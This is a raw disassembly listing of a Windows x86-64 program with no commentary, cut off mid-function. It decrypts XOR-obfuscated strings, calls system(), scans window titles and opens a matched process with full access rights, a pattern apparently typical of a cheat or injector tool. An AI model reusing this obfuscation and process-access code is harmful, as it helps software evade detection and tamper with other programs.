mov byte [rcx + 0x16], 0x91
jmp 0x140003842
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x6c0]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x6c4]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0x91
lea rcx, [0x140058c90]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, rbx
cmp byte [r9 + 0x17], 0
je 0x1400038dc
xor byte [r9], 0x35
xor byte [r9 + 1], 0x21
xor byte [r9 + 2], 0xed
xor byte [r9 + 3], 0xef
xor byte [r9 + 4], 0x99
xor byte [r9 + 5], 0x59
xor byte [r9 + 6], 0x91
xor byte [r9 + 7], 0x75
xor byte [r9 + 8], 0x35
xor byte [r9 + 9], 0x21
xor byte [r9 + 0xa], 0xed
xor byte [r9 + 0xb], 0xef
xor byte [r9 + 0xc], 0x99
xor byte [r9 + 0xd], 0x59
xor byte [r9 + 0xe], 0x91
xor byte [r9 + 0xf], 0x75
xor byte [r9 + 0x10], 0x35
xor byte [r9 + 0x11], 0x21
xor byte [r9 + 0x12], 0xed
xor byte [r9 + 0x13], 0xef
xor byte [r9 + 0x14], 0x99
xor byte [r9 + 0x15], 0x59
xor byte [r9 + 0x16], 0x91
mov byte [r9 + 0x17], 0
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [r9 + rdi], 0
jne 0x1400038e3
mov rax, qword [rbp + 0x530]
cmp rdi, rax
ja 0x140003927
lea rbx, [rbp + 0x518]
cmp rax, 0x10
cmovae rbx, qword [rbp + 0x518]
mov qword [rbp + 0x528], rdi
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x140003936
mov rdx, rdi
lea rcx, [rbp + 0x518]
call fcn.140008840
mov edi, r15d
cmp qword [rbp + 0x528], rdi
jbe 0x140003994
mov rbx, r15
nop word [rax + rax]
lea rax, [rbp + 0x518]
cmp qword [rbp + 0x530], 0x10
cmovae rax, qword [rbp + 0x518]
movzx edx, byte [rax + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008360
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
lea rbx, [rbx + 1]
movsxd rax, edi
cmp rax, qword [rbp + 0x528]
jb 0x140003950
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x224
mov eax, dword [rdx + rcx]
mov ebx, 0x1bc
test al, 1
jne 0x1400039e1
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 3], 0x101
mov word [rcx + rbx], 0x1d60
mov byte [rcx + rbx + 2], 4
lea rcx, [0x140058c70]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
add rcx, rbx
cmp byte [rcx + 4], 0
je 0x140003a09
xor byte [rcx], 3
xor byte [rcx + 1], 0x71
xor byte [rcx + 2], 0x77
xor byte [rcx + 3], 1
mov byte [rcx + 4], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x220
mov eax, dword [rdx + rcx]
mov ebx, 0x330
test al, 1
jne 0x140003a61
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 0xb], 0x1c5
mov dword [rcx + rbx], 0xab4cf6ae
mov dword [rcx + rbx + 4], 0xdd2cffac
mov word [rcx + rbx + 8], 0xb3d3
mov byte [rcx + rbx + 0xa], Ordinal_41
lea rcx, [0x140058c50]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, rbx
cmp byte [r9 + 0xc], 0
je 0x140003ab7
xor byte [r9], 0xfd
xor byte [r9 + 1], 0x9d
xor byte [r9 + 2], 0x2d
xor byte [r9 + 3], 0xc5
xor byte [r9 + 4], 0xd9
xor byte [r9 + 5], 0x95
xor byte [r9 + 6], 0x49
xor byte [r9 + 7], 0xf3
xor byte [r9 + 8], 0xfd
xor byte [r9 + 9], 0x9d
xor byte [r9 + 0xa], 0x2d
xor byte [r9 + 0xb], 0xc5
mov byte [r9 + 0xc], 0
mov rdi, 0xffffffffffffffff
nop
inc rdi
cmp byte [r9 + rdi], 0
jne 0x140003ac0
mov rax, qword [rbp + 0x530]
cmp rdi, rax
ja 0x140003b04
lea rbx, [rbp + 0x518]
cmp rax, 0x10
cmovae rbx, qword [rbp + 0x518]
mov qword [rbp + 0x528], rdi
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x140003b13
mov rdx, rdi
lea rcx, [rbp + 0x518]
call fcn.140008840
mov edi, r15d
cmp qword [rbp + 0x528], rdi
jbe 0x140003b74
mov rbx, r15
nop dword [rax]
nop word [rax + rax]
lea rax, [rbp + 0x518]
cmp qword [rbp + 0x530], 0x10
cmovae rax, qword [rbp + 0x518]
movzx edx, byte [rbx + rax]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008360
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
lea rbx, [rbx + 1]
movsxd rax, edi
cmp rax, qword [rbp + 0x528]
jb 0x140003b30
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rbp - 0x60], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x6e0], xmm0
mov qword [rbp + 0x6f0], rax
mov dword [rsp + 0x38], 0x7e1e530e
mov word [rsp + 0x3c], 0x100
xor edi, edi
mov ecx, edi
nop dword [rax]
lea eax, [rcx + 0x3d]
xor byte [rsp + rcx + 0x38], al
inc rcx
cmp rcx, 4
jb 0x140003bb0
mov byte [rsp + 0x3d], dil
lea r8, [rsp + 0x3c]
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x390]
call fcn.140001f80
nop
movdqa xmm0, xmmword [0x140066b40]
movdqu xmmword [rbp + 0x130], xmm0
movdqa xmm1, xmmword [0x140066b50]
movdqu xmmword [rbp + 0x140], xmm1
movdqa xmm0, xmmword [0x140066af0]
movdqu xmmword [rbp + 0x150], xmm0
movdqa xmm1, xmmword [0x140066b10]
movdqu xmmword [rbp + 0x160], xmm1
mov dword [rbp + 0x170], 0xd30c0d18
mov dword [rbp + 0x174], 0xe1e7e3e9
mov dword [rbp + 0x178], 0xe5f5f7
mov byte [rbp + 0x17c], 1
mov rcx, rdi
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x3d]
xor byte [rbp + rcx + 0x130], al
inc rcx
cmp rcx, 0x4b
jb 0x140003c50
mov byte [rbp + 0x17c], 0
lea r8, [rbp + 0x17b]
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x3b0]
call fcn.140001f80
nop
movdqa xmm0, xmmword [0x140066c50]
movdqu xmmword [rbp + 0x220], xmm0
movdqa xmm1, xmmword [0x140066c00]
movdqu xmmword [rbp + 0x230], xmm1
movdqa xmm0, xmmword [0x140066bb0]
movdqu xmmword [rbp + 0x240], xmm0
mov word [rbp + 0x250], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x252], 1
mov rcx, rdi
nop dword [rax + rax]
lea eax, [rcx + 0x3d]
xor byte [rbp + rcx + 0x220], al
inc rcx
cmp rcx, 0x31
jb 0x140003cd0
mov byte [rbp + 0x252], 0
lea r8, [rbp + 0x251]
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x3d0]
call fcn.140001f80
nop
movdqa xmm0, xmmword [0x140066ba0]
movdqu xmmword [rbp + 0x38], xmm0
mov dword [rbp + 0x48], 0x332e2662
mov dword [rbp + 0x4c], 0x100213a
mov rcx, rdi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x3d]
xor byte [rbp + rcx + 0x38], al
inc rcx
cmp rcx, 0x16
jb 0x140003d30
mov byte [rbp + 0x4f], 0
lea r8, [rbp + 0x4e]
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x3f0]
call fcn.140001f80
nop
mov dword [rsp + 0x70], 0x6f584c52
mov dword [rsp + 0x74], 0x25262e23
mov dword [rsp + 0x78], 0x292f2e26
mov dword [rsp + 0x7c], 0x100212a
mov rcx, rdi
nop dword [rax]
lea eax, [rcx + 0x3d]
xor byte [rsp + rcx + 0x70], al
inc rcx
cmp rcx, 0xe
jb 0x140003d80
mov byte [rsp + 0x7f], 0
lea r8, [rsp + 0x7e]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x410]
call fcn.140001f80
nop
movdqa xmm0, xmmword [0x140066b90]
movdqu xmmword [rbp + 0x80], xmm0
mov word [rbp + 0x90], 0x100
mov rcx, rdi
nop dword [rax + rax]
lea eax, [rcx + 0x3d]
xor byte [rbp + rcx + 0x80], al
inc rcx
cmp rcx, 0x10
jb 0x140003dd0
mov byte [rbp + 0x91], 0
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x430]
call fcn.140001f80
nop
movdqa xmm0, xmmword [0x140066bf0]
movdqu xmmword [rbp - 0x28], xmm0
mov dword [rbp - 0x18], 0x23262139
mov dword [rbp - 0x14], 0x303c3f7f
mov dword [rbp - 0x10], 0x2b323a20
mov word [rbp - 0xc], 0x100
mov rcx, rdi
lea eax, [rcx + 0x3d]
xor byte [rbp + rcx - 0x28], al
inc rcx
cmp rcx, 0x1c
jb 0x140003e30
mov byte [rbp - 0xb], 0
lea r8, [rbp - 0xc]
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x450]
call fcn.140001f80
nop
movdqa xmm0, xmmword [0x140066c30]
movdqu xmmword [rbp + 0x108], xmm0
movdqa xmm1, xmmword [0x140066be0]
movdqu xmmword [rbp + 0x118], xmm1
mov dword [rbp + 0x128], 0x7b3f39
mov byte [rbp + 0x12c], 1
mov rcx, rdi
nop dword [rax]
lea eax, [rcx + 0x3d]
xor byte [rbp + rcx + 0x108], al
inc rcx
cmp rcx, 0x23
jb 0x140003e90
mov byte [rbp + 0x12c], 0
lea r8, [rbp + 0x12b]
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x470]
call fcn.140001f80
nop
movdqa xmm0, xmmword [0x140066c60]
movdqu xmmword [rbp - 8], xmm0
mov dword [rbp + 8], 0x3f2a2639
mov dword [rbp + 0xc], 0x676265
mov byte [rbp + 0x10], 1
mov rcx, rdi
nop word [rax + rax]
lea eax, [rcx + 0x3d]
xor byte [rbp + rcx - 8], al
inc rcx
cmp rcx, 0x17
jb 0x140003ef0
mov byte [rbp + 0x10], 0
lea r8, [rbp + 0xf]
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x490]
call fcn.140001f80
nop
movdqa xmm0, xmmword [0x140066c70]
movdqu xmmword [rbp + 0x18], xmm0
mov dword [rbp + 0x28], 0x3f2a2639
mov dword [rbp + 0x2c], 0x676265
mov byte [rbp + 0x30], 1
mov rcx, rdi
nop dword [rax + rax]
lea eax, [rcx + 0x3d]
xor byte [rbp + rcx + 0x18], al
inc rcx
cmp rcx, 0x17
jb 0x140003f40
mov byte [rbp + 0x30], 0
lea r8, [rbp + 0x2f]
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x4b0]
call fcn.140001f80
nop
movdqa xmm0, xmmword [str.RLXo_______.99d_UJK02xlk54_____P_K_.0_39._9a_5_7_6:_7.t_]
movdqu xmmword [rbp + 0x98], xmm0
movdqa xmm1, xmmword [0x140066b70]
movdqu xmmword [rbp + 0xa8], xmm1
mov dword [rbp + 0xb8], 0x1333d73
mov dword [rbp + 0xbc], 0x1001112
mov rcx, rdi
lea eax, [rcx + 0x3d]
xor byte [rbp + rcx + 0x98], al
inc rcx
cmp rcx, 0x26
jb 0x140003fa0
mov byte [rbp + 0xbf], 0
lea r8, [rbp + 0xbe]
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0x4d0]
call fcn.140001f80
nop
movdqa xmm0, xmmword [0x140066c40]
movdqu xmmword [rbp + 0x50], xmm0
mov dword [rbp + 0x60], 0x7f2b3b25
mov word [rbp + 0x64], 0x100
mov rcx, rdi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x3d]
xor byte [rbp + rcx + 0x50], al
inc rcx
cmp rcx, 0x14
jb 0x140004000
mov byte [rbp + 0x65], 0
lea r8, [rbp + 0x64]
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x4f0]
call fcn.140001f80
nop
lea rax, [rbp + 0x390]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x510]
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x6e0]
call fcn.140008220
nop
lea r9, [fcn.1400015d0]
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea r8d, [rdx - 0x14]
lea rcx, [rbp + 0x390]
call fcn.140008b10
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x6c8], xmm0
mov qword [rbp + 0x6d8], rax
mov dword [rsp + 0x50], 0x25515770
mov dword [rsp + 0x54], 0x22223022
mov word [rsp + 0x58], Ordinal_50
mov byte [rsp + 0x5a], 1
mov rcx, rdi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x3d]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 9
jb 0x1400040b0
mov byte [rsp + 0x5a], 0
lea r8, [rsp + 0x59]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x310]
call fcn.140001f80
nop
mov dword [rbp - 0x80], 0x345e5b7b
mov dword [rbp - 0x7c], 0x64312729
mov dword [rbp - 0x78], 0x2d2e2a06
mov dword [rbp - 0x74], 0x1003e27
mov rcx, rdi
nop dword [rax + rax]
lea eax, [rcx + 0x3d]
xor byte [rbp + rcx - 0x80], al
inc rcx
cmp rcx, 0xe
jb 0x140004100
mov byte [rbp - 0x71], 0
lea r8, [rbp - 0x72]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x330]
call fcn.140001f80
nop
mov dword [rsp + 0x60], 0x21514b71
mov dword [rsp + 0x64], 0x28006233
mov dword [rsp + 0x68], 0x3c29232c
mov word [rsp + 0x6c], 0x100
mov rcx, rdi
nop dword [rax + rax]
lea eax, [rcx + 0x3d]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0xc
jb 0x140004150
mov byte [rsp + 0x6d], 0
lea r8, [rsp + 0x6c]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x350]
call fcn.140001f80
nop
movdqa xmm0, xmmword [0x140066b60]
movdqu xmmword [rbp + 0x68], xmm0
mov word [rbp + 0x78], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x7a], 1
mov rcx, rdi
nop word [rax + rax]
lea eax, [rcx + 0x3d]
xor byte [rbp + rcx + 0x68], al
inc rcx
cmp rcx, 0x11
jb 0x1400041a0
mov byte [rbp + 0x7a], 0
lea r8, [rbp + 0x79]
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x370]
call fcn.140001f80
mov r15d, 0xfffffffe
lea rax, [rbp + 0x310]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x390]
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x6c8]
call fcn.140008220
nop
lea r9, [fcn.1400015d0]
mov r8, r12
lea edx, [r15 + 0x22]
lea rcx, [rbp + 0x310]
call fcn.140008b10
xor edx, edx
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
test rax, rax
mov r12, rax
je 0x140007acd
mov r13d, reloc.WLDAP32.dll_Ordinal_22
movabs r14, 0x8000000000000000
movabs rsi, 0x7fffffffffffffff
mov r8d, 0x100
lea rdx, [rbp + 0x830]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextA]
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], rdi
mov qword [rbp - 0x40], rdi
lea rax, [rbp + 0x830]
mov rbx, 0xffffffffffffffff
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140004280
cmp rbx, rsi
ja 0x140007b7b
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
cmp rbx, 0x10
jae 0x1400042c1
mov qword [rbp - 0x48], rbx
mov r8, rbx
lea rdx, [rbp + 0x830]
lea rcx, [rbp - 0x58]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x58], 0
jmp 0x14000434a
mov rdi, rbx
or rdi, 0xf
cmp rdi, rsi
jbe 0x1400042d6
mov rdi, rsi
lea rax, [r14 + 0x27]
jmp 0x1400042f8
cmp rdi, 0x16
cmovb rdi, r13
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140004317
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140007b81
mov rcx, rax
call fcn.140008a30
test rax, rax
je 0x14000442d
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140004328
test rcx, rcx
je 0x140004326
call fcn.140008a30
mov rsi, rax
jmp 0x140004328
xor esi, esi
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x48], rbx
mov qword [rbp - 0x40], rdi
mov r8, rbx
lea rdx, [rbp + 0x830]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
or r15d, 1
mov dword [rbp - 0x68], r15d
mov rbx, qword [rbp + 0x6c8]
mov r14, qword [rbp + 0x6d0]
cmp rbx, r14
je 0x1400043c4
mov rsi, qword [rbp - 0x40]
mov r13, qword [rbp - 0x48]
mov rdi, qword [rbp - 0x58]
mov rax, qword [rbx + 0x10]
mov r9, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140004382
mov r9, qword [rbx]
lea rcx, [rbp - 0x58]
cmp rsi, 0x10
cmovae rcx, rdi
mov qword [rsp + 0x20], rax
mov rdx, r13
call fcn.140008560
cmp rax, 0xffffffffffffffff
jne 0x1400043ac
add rbx, 0x20
cmp rbx, r14
jne 0x140004371
jmp 0x1400043cc
mov rcx, r12
call fcn.1400024a0
test al, al
je 0x1400043c4
mov bl, 1
mov rsi, qword [rbp - 0x40]
mov rdi, qword [rbp - 0x58]
jmp 0x1400043ce
mov rsi, qword [rbp - 0x40]
mov rdi, qword [rbp - 0x58]
xor bl, bl
test r15b, 1
je 0x14000441f
and r15d, 0xfffffffe
cmp rsi, 0x10
jb 0x14000440b
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140004403
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000442d
mov rcx, rdi
call fcn.140008a74
xor edi, edi
mov qword [rbp - 0x48], rdi
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x58], dil
jmp 0x140004421
xor edi, edi
test bl, bl
jne 0x140004434
mov rdx, r12
jmp 0x140004214
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test r12, r12
je 0x140007acd
lea rdx, [rbp + 0x510]
mov rcx, r12
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [rbp + 0x510]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x1400044bd
lea edx, [rax + 4]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140007e00
mov rcx, rax
call fcn.140007fe0
mov rdx, rax
mov rcx, rbx
call fcn.1400019f0
lea rdx, [0x140008520]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 8
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x21c
mov eax, dword [rdx + rcx]
mov ebx, 0x1c4
test al, 1
jne 0x1400044ff
or eax, 1
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 3], 0x159
mov word [rbx + rcx], 0x7596
mov byte [rbx + rcx + 2], 0xee
lea rcx, [0x140058bc0]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
add rcx, rbx
cmp byte [rcx + 4], 0
je 0x140004527
xor byte [rcx], 0xf5
xor byte [rcx + 1], 0x19
xor byte [rcx + 2], 0x9d
xor byte [rcx + 3], 0x59
mov byte [rcx + 4], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 2
mov r13, qword [rbp - 0x60]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x140066d00]
movdqa xmm1, xmmword [0x140066ce0]
mov word [rbp + 0x778], 0xafc7
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x218
mov eax, dword [rdx + rcx]
mov esi, 0x150
test al, 1
jne 0x1400045d8
or eax, 1
mov dword [rdx + rcx], eax
add rcx, rsi
mov byte [rcx + 0x22], 1
lea rax, [rcx + 0x21]
lea rdx, [rbp + 0x779]
cmp rcx, rdx
ja 0x1400045b9
lea rdx, [rbp + 0x758]
cmp rax, rdx
jb 0x1400045b9
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movzx eax, word [rbp + 0x778]
mov word [rcx + 0x20], ax
jmp 0x1400045cb
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movzx eax, word [rbp + 0x778]
mov word [rcx + 0x20], ax
lea rcx, [0x140058b90]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rsi
cmp byte [rdx + 0x22], 0
je 0x14000467c
xor byte [rdx], 0xe7
xor byte [rdx + 1], 0xaf
xor byte [rdx + 2], 0x55
xor byte [rdx + 3], 0xdf
xor byte [rdx + 4], 0x33
xor byte [rdx + 5], 5
xor byte [rdx + 6], 0xaf
xor byte [rdx + 7], 0x83
xor byte [rdx + 8], 0xe7
xor byte [rdx + 9], 0xaf
xor byte [rdx + 0xa], 0x55
xor byte [rdx + 0xb], 0xdf
xor byte [rdx + 0xc], 0x33
xor byte [rdx + 0xd], 5
xor byte [rdx + 0xe], 0xaf
xor byte [rdx + 0xf], 0x83
xor byte [rdx + 0x10], 0xe7
xor byte [rdx + 0x11], 0xaf
xor byte [rdx + 0x12], 0x55
xor byte [rdx + 0x13], 0xdf
xor byte [rdx + 0x14], 0x33
xor byte [rdx + 0x15], 5
xor byte [rdx + 0x16], 0xaf
xor byte [rdx + 0x17], 0x83
xor byte [rdx + 0x18], 0xe7
xor byte [rdx + 0x19], 0xaf
xor byte [rdx + 0x1a], 0x55
xor byte [rdx + 0x1b], 0xdf
xor byte [rdx + 0x1c], 0x33
xor byte [rdx + 0x1d], 5
xor byte [rdx + 0x1e], 0xaf
xor byte [rdx + 0x1f], 0x83
xor byte [rdx + 0x20], 0xe7
xor byte [rdx + 0x21], 0xaf
mov byte [rdx + 0x22], 0
mov rcx, rbx
call fcn.1400019f0
mov edx, dword [rbp + 0x510]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rbx, rax
mov rcx, qword gs:[0x58]
mov rdx, qword [rcx]
mov eax, 0x564
mov ecx, dword [rax + rdx]
mov esi, 0x1a0
test cl, 1
jne 0x1400046ce
or ecx, 1
mov dword [rax + rdx], ecx
mov dword [rdx + rsi], 0x155a5ed
lea rcx, [0x140058b70]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rsi
cmp byte [rdx + 3], 0
je 0x1400046f2
xor byte [rdx], 0xe7
xor byte [rdx + 1], 0xaf
xor byte [rdx + 2], 0x55
mov byte [rdx + 3], 0
mov rcx, rbx
call fcn.1400019f0
mov edx, 8
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbp + 0x510], 0
jne 0x14000477e
mov edx, 4
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140007e70
mov rcx, rax
call fcn.140007f50
mov rdx, rax
mov rcx, rbx
call fcn.1400019f0
lea rdx, [0x140008520]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 8
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x29c
mov eax, dword [rdx + rcx]
mov ebx, 0x484
test al, 1
jne 0x1400047cb
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 3], 0x159
mov word [rcx + rbx], 0xd708
mov byte [rcx + rbx + 2], 0xb8
lea rcx, [0x140058b20]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
add rcx, rbx
cmp byte [rcx + 4], 0
je 0x1400047f3
xor byte [rcx], 0x6b
xor byte [rcx + 1], 0xbb
xor byte [rcx + 2], 0xcb
xor byte [rcx + 3], 0x59
mov byte [rcx + 4], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x140066d70]
movdqa xmm1, xmmword [0x140066d60]
mov dword [rbp + 0x750], 0x88ae5cd7
mov word [rbp + 0x754], 0x793
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x30c
mov eax, dword [rdx + rcx]
mov esi, 0x2e0
test al, 1
jne 0x1400048b6
or eax, 1
mov dword [rdx + rcx], eax
add rcx, rsi
mov byte [rcx + 0x27], 1
lea rax, [rcx + 0x26]
lea rdx, [rbp + 0x756]
cmp rcx, rdx
ja 0x14000488a
lea rdx, [rbp + 0x730]
cmp rax, rdx
jb 0x14000488a
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov eax, dword [rbp + 0x750]
mov dword [rcx + 0x20], eax
movzx eax, word [rbp + 0x754]
mov word [rcx + 0x24], ax
mov byte [rcx + 0x26], 0xe9
jmp 0x1400048a9
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov eax, dword [rbp + 0x750]
mov dword [rcx + 0x20], eax
movzx eax, word [rbp + 0x754]
mov word [rcx + 0x24], ax
mov byte [rcx + 0x26], 0xe9
lea rcx, [0x140058af0]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rsi
cmp byte [rdx + 0x27], 0
je 0x14000496e
xor byte [rdx], 0x8d
xor byte [rdx + 1], 0x19
xor byte [rdx + 2], 0xe5
xor byte [rdx + 3], 0xc9
xor byte [rdx + 4], 0xd9
xor byte [rdx + 5], 0xd
xor byte [rdx + 6], 0xe9
xor byte [rdx + 7], 0xbb
xor byte [rdx + 8], 0x8d
xor byte [rdx + 9], 0x19
xor byte [rdx + 0xa], 0xe5
xor byte [rdx + 0xb], 0xc9
xor byte [rdx + 0xc], 0xd9
xor byte [rdx + 0xd], 0xd
xor byte [rdx + 0xe], 0xe9
xor byte [rdx + 0xf], 0xbb
xor byte [rdx + 0x10], 0x8d
xor byte [rdx + 0x11], 0x19
xor byte [rdx + 0x12], 0xe5
xor byte [rdx + 0x13], 0xc9
xor byte [rdx + 0x14], 0xd9
xor byte [rdx + 0x15], 0xd
xor byte [rdx + 0x16], 0xe9
xor byte [rdx + 0x17], 0xbb
xor byte [rdx + 0x18], 0x8d
xor byte [rdx + 0x19], 0x19
xor byte [rdx + 0x1a], 0xe5
xor byte [rdx + 0x1b], 0xc9
xor byte [rdx + 0x1c], 0xd9
xor byte [rdx + 0x1d], 0xd
xor byte [rdx + 0x1e], 0xe9
xor byte [rdx + 0x1f], 0xbb
xor byte [rdx + 0x20], 0x8d
